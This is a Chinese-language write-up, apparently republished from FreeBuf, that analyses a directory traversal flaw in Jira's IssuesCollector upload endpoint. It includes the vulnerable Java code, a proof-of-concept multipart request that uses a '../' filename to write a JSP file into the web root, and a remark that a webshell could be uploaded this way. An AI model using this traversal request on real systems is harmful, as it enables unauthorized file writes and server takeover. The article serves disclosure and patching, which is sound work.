开源BUG跟踪平台JIRA目录遍历漏洞分析

作者 Taskiller

最近,一则新发布的公告报告了一个影响Jira 5.0.11和6.0.3版本的目录遍历漏洞,该漏洞在去年7月份被验证,并在接下来的几个月得以修复。

攻击方法很简单,但是潜在影响却是非常大的,该漏洞可能允许攻击者上传文件作为webshell。后文我会解决该漏洞如何通过静态分析发现,以及什么一个小细节使其只能在Windows系统上被利用。

漏洞识别

以下代码源自插件IssuesCollector,该插件使用REST api,支持上传屏幕截图文件作为附件附加到说明中。

com/atlassian/jira/collector/plugin/rest/TemporaryAttachmentsResource.java

[...]
  @POST
  @Path("multipart/{collectorId}")
  @Consumes({"multipart/form-data"})
  @Produces({"text/html"})
  public
Response attachTemporaryFileViaForm(@PathParam("collectorId")
String collectorId, @MultipartFormParam("screenshot")
Collection<filepart> fileParts) { ServiceOutcome outcome =
this.collectorService.getCollector(collectorId);
   [...]
    FilePart
filePart = (FilePart)fileParts.iterator().next();
    try
    {
     [...]
 
      TemporaryAttachment
temporaryAttachment = createTemporaryAttachment(filePart.getName(),
filePart.getContentType(), filePart.getInputStream());
      temporaryAttachmentsMonitor.add(temporaryAttachment);
      context.put("temporaryAttachment",
temporaryAttachment);
      return
Response.ok(renderTemplate("templates/rest/tempfilejson.vm",
context)).cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build();
    }
    catch
(IOException e) {
    }
    return
Response.serverError().cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build();
  }
 
  private
TemporaryAttachment createTemporaryAttachment(String fileName, String
contentType, InputStream inputStream)
  {
    File
tmpDir = AttachmentUtils.getTemporaryAttachmentDirectory();
    long
uniqueId;
    File
tempAttachmentFile;
    do
    {
      uniqueId
= getUUID();
      tempAttachmentFile
= new File(tmpDir, uniqueId + "_" + fileName);
    }
    while
(tempAttachmentFile.exists());
 
    FileOutputStream
output = null;
    try
    {
      output
= new FileOutputStream(tempAttachmentFile);
      IOUtils.copy(inputStream,
output);
      output.close();
    }
    catch
(IOException e)
    {
      IOUtils.closeQuietly(output);
      log.error("Error
creating temporary attachment", e);
      return
null;
    }
 
    return
new TemporaryAttachment(Long.valueOf(uniqueId), Long.valueOf(-1L),
tempAttachmentFile, fileName, contentType);
  }

在第31行,代码将上传的文件移动到一个临时目录中,filename的值没有任何过滤,该值由多个部分组合而成,因此可以通过客户端控制。

31 tempAttachmentFile = new File(tmpDir, uniqueId + "_" +fileName);

来源:

13 [...]createTemporaryAttachment(filePart.getName(),filePart.getContentType(), 
filePart.getInputStream());

漏洞利用

为了使文件上传到附件目录之外,可以用一个经典的目录遍历模式遍历到公共web目录的根目录(/atlassian-jira/)。在之前示例代码可以看到其并没有对文件内容进行过滤,因此可以上传一个JSP shell来获取系统权限。

POST
/rest/collectors/1.0/tempattachment/multipart/2c1ce5fa  HTTP/1.1
Host:
hackme.atlassian.net
Cookie:
atlassian.xsrf.token=BQ79-A85Q-7DOM-UMFN|e98231aaaef98a0d9dc7c52e87f4e84cf9cd3085
Connection:
keep-alive
Content-Type:
multipart/form-data;
boundary=---------------------------16266315542468
Content-Length:
345
 
-----------------------------16266315542468
Content-Disposition:
form-data; name="screenshot";
filename="/../../../atlassian-jira/hello.jsp"
Content-Type:
text/plain
 
<h1>
Hello
world!</h1>
-----------------------------16266315542468

请求中的文件名"/../../../atlassian-jira/hello.jsp"会被连结到uniqueid从而代替临时目录路径。

在Windows系统上:

C:\ProgramFiles\Atlassian\ApplicationData\JIRA\caches\tmp_attachments\6177763437089900999_/../../../atlassian-jira/hello.jsp

在Linux系统上:

/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_/../../../atlassian-jira/hello.jsp

在windows系统上路径会被规范化为"C:\Program Files\Atlassian\Application Data\JIRA\atlassian-jira\hello.jsp",之后文件被写入。换句话说,Linux系统会使用整个完整的路径,并会发现目录"/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_"根据不存在,因此无法利用。

这里可以将上传的文件替换为一个webshell。

漏洞修补

如果读者维护着一款Jira实例,应该已经接收到更新提示了,如果没有,请参考文章开头提到的公告。

参考

JIRASecurity Advisory 2014-02-26 : The official advisory

https://confluence.atlassian.com/display/JIRA/JIRA+Security+Advisory+2014-02-26

WASC:Path traversal : Complete description of the Path traversal vulnerability

http://projects.webappsec.org/w/page/13246952/Path%20Traversal

[via h3xstream]

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2014-05-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏coolblog.xyz技术专栏

Spring IOC 容器源码分析系列文章导读

Spring 是一个轻量级的企业级应用开发框架,于 2004 年由 Rod Johnson 发布了 1.0 版本。经过十几年的迭代,现在的 Spring 框架已...

14630
来自专栏编舟记

一步步编写SonarQube Plugin

插件确实不好写,因为插件是插入庞大的系统当中工作的,那也就意味着写插件需要具备一定的领域知识,包括系统架构、扩展点、业务共性及差异、API及其业务模型对应、安装...

88630
来自专栏平凡文摘

Netty 实现原理浅析

16430
来自专栏java达人

java 处理xml的三种技术

最初,XML 语言仅仅是意图用来作为 HTML 语言的替代品而出现的,但是随着该语言的不断发展和完善,人们越来越发现它所具有的优点:例如标记语言可扩...

25750
来自专栏向治洪

android获取设备唯一标示

概述 有时需要对用户设备进行标识,所以希望能够得到一个稳定可靠并且唯一的识别码。虽然Android系统中提供了这样设备识别码,但是由于Android系统版本、...

1.9K70
来自专栏Java编程

Java架构师学习路线图

学习一下你的集成开发环境提供的调试工具,加一些断点试试。

1.9K30
来自专栏老码农专栏

原 荐 一场版本升级引发的性能血案 - 之数

23930
来自专栏ImportSource

JDK10要来了:下一代 Java 有哪些新特性?

JDK 10 目前正在Rampdown Phase One,开发正在努力的修复着bug。 排期 2017/12/14 Rampdown Phase One ...

60680
来自专栏老码农专栏

TodoBackend展示应用以及ActFramework的实现

13950
来自专栏程序猿DD

Spring Boot 2.0选择HikariCP作为默认数据库连接池的五大理由

摘要: 本文非原创,是「工匠小猪猪的技术世界」搜集了一些HikariCP相关的资料整理给大家的介绍,主要讲解了为什么sb2选择了HikariCP以及Hikari...

28640

扫码关注云+社区

领取腾讯云代金券